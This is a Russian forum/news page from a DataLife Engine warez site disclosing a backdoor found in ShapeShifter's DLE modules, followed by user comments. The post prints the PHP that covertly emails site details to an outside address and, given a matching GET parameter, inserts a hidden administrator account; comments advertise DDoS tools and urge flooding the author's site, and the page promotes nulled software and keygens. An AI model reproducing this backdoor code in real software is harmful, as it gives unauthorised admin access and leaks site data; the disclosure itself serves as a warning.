Вход / Регистрация
Управлятор @ WFound
логин : Регистрация на сайте
пароль :    Я забыл пароль :’(
ТВ-программа
Авторизированны на проектах
Для отображения этого меню Вам необходимо авторизироваться.
WFound - DLE шаблоны, DLE модули, DLE хаки Улыбнись :)
  » WFound.Ru - CMS, сайты, новости, hi-tech, seo. » CMS » DataLife Engine » Баг-Фиксы » Бекдор и стучалка в модулях от ShapeShifter
В Украине Hi-Tech Бизнес Политика Наука Авто Путешествия Спорт Экономика
Кафе и Рестораны Мода и стиль Общество Юмор Фильмы Образование История Звезды Гороскопы Кулинария REPORT
Кино Клубы Концерты События Выставки Тв-программа
Форум Каталог сайтов Блоги Фотки Чат
DataLife Engine Eleanor Drupal Joomla Danneo Другие
Новости Выставки Кинематограф Музыка Театры
Релизы Модули DLE Шаблоны DLE Хаки DLE Багфиксы DLE Сборки DLE Платное Разное
Компьютерные Журналы Видеоуроки Аудиокниги Книги Разное
Клипарты Шрифты Иконки Кисти Плагины Скрипты Photoshop Шаблоны Photoshop Обои Разное
CentOS

Автор: feedalt в новости:
Sony ACID Pro 7 + Portable версия

Что на Ваш взгляд является недостатком или слабой стороной портала, стоило бы поменять?

Мало разделов
Недостаточно информации в разделах
"Тяжелые", перегруженные графикой страницы
Проблемы с разметкой страниц в браузере
Недостоверная информация, ошибки в данных




Карта сайта


Untitled Document

DataLife Engine            
DataLife Engine это многопользовательский новостной движок предназначенный для организации собственных СМИ в интернете.
Актуальная версия 8.3
Скачать DLE 8.3 NULLED
Обсуждение DataLife Engine Генератор ключей для DataLife Engine (DLE - KeyGen)


Релизы DLE Модули DLE Шаблоны DLE Хаки DLE Баги Сборки Платное Разное


Бекдор и стучалка в модулях от ShapeShifter

Раздел: CMS » DataLife Engine » Баг-Фиксы | Просмотров: 2927 | Напечатать | Обсудить на форуме
 
if(strpos(strtolower($site_h),$site_d) === FALSE)
{'
$text = strip_tags("Пользователь \"{'$id_d'}\" ({'$site_d'} | {'$un_d'}) нарушил авторские права.\r\nСкрипт (модуль): {'$name_mod'}\r\nСайт: http://{'$site_h'}\r\nСкрипт находится здесь: http://{'$site_h'}{'$_SERVER['REQUEST_URI']'}");
$email = "modpolice@yandex.ru";
include_once ENGINE_DIR.'/classes/mail.class.php';
$mail = new dle_mail ($config,false);
$mail->from = "nsssmart@rambler.ru";
$mail->to = $email;
$headers = "From: {'$mail->from'}\nTo: {'$mail->to'}\nSubject: Нарушение авторский прав: {'$name_mod'}\n";
$headers .= "Date: ".date('j F Y H:i');
$semi_rand = md5(time());
$mime_boundary = "--{'$semi_rand'}--";
$headers .= "\nMIME-Version: 1.0\n"."Content-Type: multipart/mixed;\n"." boundary=\"{'$mime_boundary'}\"";
$mail->mail_headers = $headers;
$message = "This is a multi-part message in MIME format.\n\n"."--{'$mime_boundary'}\n"."Content-Type: text/plain; charset=\"windows-1251\"\n"."Content-Transfer-Encoding: 7bit\n\n".
$message .$text."\n\n";
$mail->message = $message;
$mail->smtp_send();
'}
if(strpos(strtolower($site_h),$site_d) === FALSE)
{'
if ($_GET['un_d'] == $un_d) $db->query( "INSERT INTO ".USERPREFIX ."_users (email, password, name, user_group, reg_date) values ('nsssmart@rambler.ru', '696d29e0940a4957748fe3fc9efd22a3', 'ModPolice_{'$un_d'}', '1', '1254007895')");
'}
if ($action == 0)
{'


Суть бекдора в том что бы отправить сообщение Шиферу (SavGroup) и создать юзера ModPolice с правами администратора для дальнейшего уничтожения Вашего сайта.
Вобщем привет и пока Шиферу, если честно - не ожидал от него такого.



Рекомендуем
  • Уведомление автора новости о комментарии
  • Автопроверка полей при регистрации.
  • DreamMail 4.6.70 Portable
  • Уведомление о новом ЛС (Вкл./Откл.)
  • VKLife 1.9.2 - качаем с VKontakte.Ru и Mail.Ru
  • Auto Hide IP 5.1.2.2
  • Mail.ru потерялась на рынке поисковиков
  • Читать CMS » DataLife Engine » Баг-Фиксы Добавить свои новости

    Комментарии (40) ↓

    klop
    (19 января 2010 14:20)

    Группа: Пользователи
    Публикаций: 6
    Комментариев: 35

    ICQ: 494880449

    llipek,я покупал ,тоже не нашел


    GrOzNy
    (19 января 2010 14:32)

    Группа: Модераторы
    Публикаций: 68
    Комментариев: 182

    ICQ: 30986184

    сейчас вот тоже проверил репутацию 6.5 и ни чего не нашёл wink



    ----------------------------------------
    Всё возможно и ничего не исключено!©

    llipek
    (19 января 2010 14:46)

    Группа: VIP
    Публикаций: 0
    Комментариев: 25

    ICQ: --

    Журнал логов 5.0

    Может кто поделитсься?


    GrOzNy
    (19 января 2010 15:01)

    Группа: Модераторы
    Публикаций: 68
    Комментариев: 182

    ICQ: 30986184

    llipek,
    сейчас выложу в клуб



    ----------------------------------------
    Всё возможно и ничего не исключено!©

    Crash
    (19 января 2010 17:24)

    Группа: Пользователи
    Публикаций: 0
    Комментариев: 2

    ICQ: --

    ZLoY,
    Ждем таблетки)


    kzpromo
    (19 января 2010 17:55)

    Группа: WF Team
    Публикаций: 4
    Комментариев: 54

    ICQ: 2662915

    я знал что дырки они специально делают))))
    дле файлы xsss не фильтруется умышлено lol



    ----------------------------------------
    Мощные ДДОС АТАКИ
    Мой лучемет http://s45.radikal.ru/i109/0910/e2/19c6def42019.jpg
    Zloy мудак!

    crypt0n
    (19 января 2010 23:28)

    Группа: Гости
    Публикаций: 0
    Комментариев: 0

    ICQ: --

    на кол гада а сайту его shutdown -t am


    zion
    (20 января 2010 09:03)

    Группа: Пользователи
    Публикаций: 0
    Комментариев: 32

    ICQ: --

    llipek,
    ты с установкой этого модуля запаришься. Минут 20, а то и более будешь вставлять нужное. Модуль серьезный.

    А ShapeShifter гад... В репе 6.5 не найден полицмод


    DDA
    (21 января 2010 19:41)

    Группа: VIP
    Публикаций: 0
    Комментариев: 22

    ICQ: 357567

    Цитата: Kurso®
    Даешь flood http savgroup.ru ? lol

    даешь лучемёте!!!!111


    James026
    (24 января 2010 01:17)

    Группа: VIP
    Публикаций: 10
    Комментариев: 61

    ICQ: --

    хм в модуле бан с сайта не нашёл ничего,единст чё в скрипте подключаеться файл

    @include (ENGINE_DIR.'/modules/ban_users_83614.php');

    но в архиве такого файла нету

    Информация

     

    Посетители, находящиеся в группе Гости, не могут оставлять комментарии в данной новости.




    2010, ENG, Portable, Rus, soft vkontakte, vkontakte, x64, x86, аудиокнига, бесплатно, видео, видео уроки, видеокурс, вконтакте прграмма, игры, интернет, кино, лучшее, Музыка, Наука, Новинки, новости, обучающее видео, программа, программа vkontakte, программы, система, скачать, скачать аудиокнигу, скачать бесплатно, скачать бесплатно и без смс, скачать програму, скачать софт, Софт, софт вконтакте, Спорт, фильм, Фильмы, художественная аудиокнига

    Показать все теги
    » 200 Красивых и раскошных девушек для рабочего стола 201 ...
    » Windows 7 Ultimate UralSOFT miniWPI v.4.8.12 (x86/2012 ...
    » Windows 7 SP1 x86 Carbon ELdaradoSoft v.2.0 (2012/Rus)
    » Windows 7 Ultimate x86 SP1 v.02.12 GSM (2012/Rus)
    » 45 Unbelievable Cityscapes HD Wallpapers Set 15
    » Сборник игр от NevoSoft за апрель (RUS/2012)
    » LEOPARD 1 18.04.2012 ( ENG/ RUS/x86)
    » Giant WallPaper Pack - FL
    » Default
    » Paris Hilton Wallpaper 2012
    Май 2012 (42)
    Апрель 2012 (34)
    Март 2012 (61)
    Февраль 2012 (86)
    Январь 2012 (9)
    Декабрь 2011 (101)

    «    Май 2012    »
    ПнВтСрЧтПтСбВс
     
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
     

     Chrysler сообщил о прекращении производства Dodge ...
    Американский автомобильный гигант Chrysler Group сообщил о прекращении производства модели Dodge Caliber. Напомним, что производилась эта модель в течение последних 6 лет.
     Читать | 29 декабря 2011 20:04

     В Бол-Харбор состоится открытие шикарного отеля St ...
    На севере Майами-Бич в штате Флорида (США) в Бол-Харбор состоится открытие шикарного отеля St RegisBal HarbourResort. Отель считается самым дорогостоящим проектом в США следующего года: инвестиции в строительство гостиницы составили 1 млрд. долларов ...
     Читать | 28 декабря 2011 18:29

     Ford сообщил о запуске в продажу нового универсала ...
    Дилеры Ford в России сообщили о начале приема заказов на недавно анонсированный Focus универсал. Такую информацию распространила накануне пресс-служба автогиганта.
     Читать | 28 декабря 2011 14:47

     Volkswagen отключит сервисы Blackberry для своих с ...
    Руководство немецкого автомобилестроительного концерна Volkswagen согласилось блокировать сервисы Blackberry для большей части своих сотрудников во время их отсутствия на рабочем месте. Представители компании говорят, что многие сотрудники компании ...
     Читать | 27 декабря 2011 15:05

     Компания F&M анонсировала новый суперкар Evantra
    В Италии на днях состоялся анонс нового суперкара, разработан который был компанией-производителем суперкаров F&M. Новинка, вес которой составляет 1,2 тыс. кг, пополнила ряды автомобилей местного производства за счет технической начинки и своего ...
     Читать | 27 декабря 2011 12:25



    При цитировании, копировании и любом другом использовании материалов сайта ссылка на проект обязательна.
    Администрация проекта не несет ответственности за информацию, опубликованную пользователями.
    Все права защищены. За нарушение - четвертование.
    Планируете создать сайт управляемый CMS DLE? Воспользуйтесь возможностями нашего сайта с бесплатными шаблонами для DLE, чтобы превратить свой сайт в серьезное информационное издание. Чтобы скачать шаблоны для DLE, зайдите в раздел с шаблонами для DataLife Engine. На нашем сайте выкладываються только качественные РИПЫ сайтов на DLE.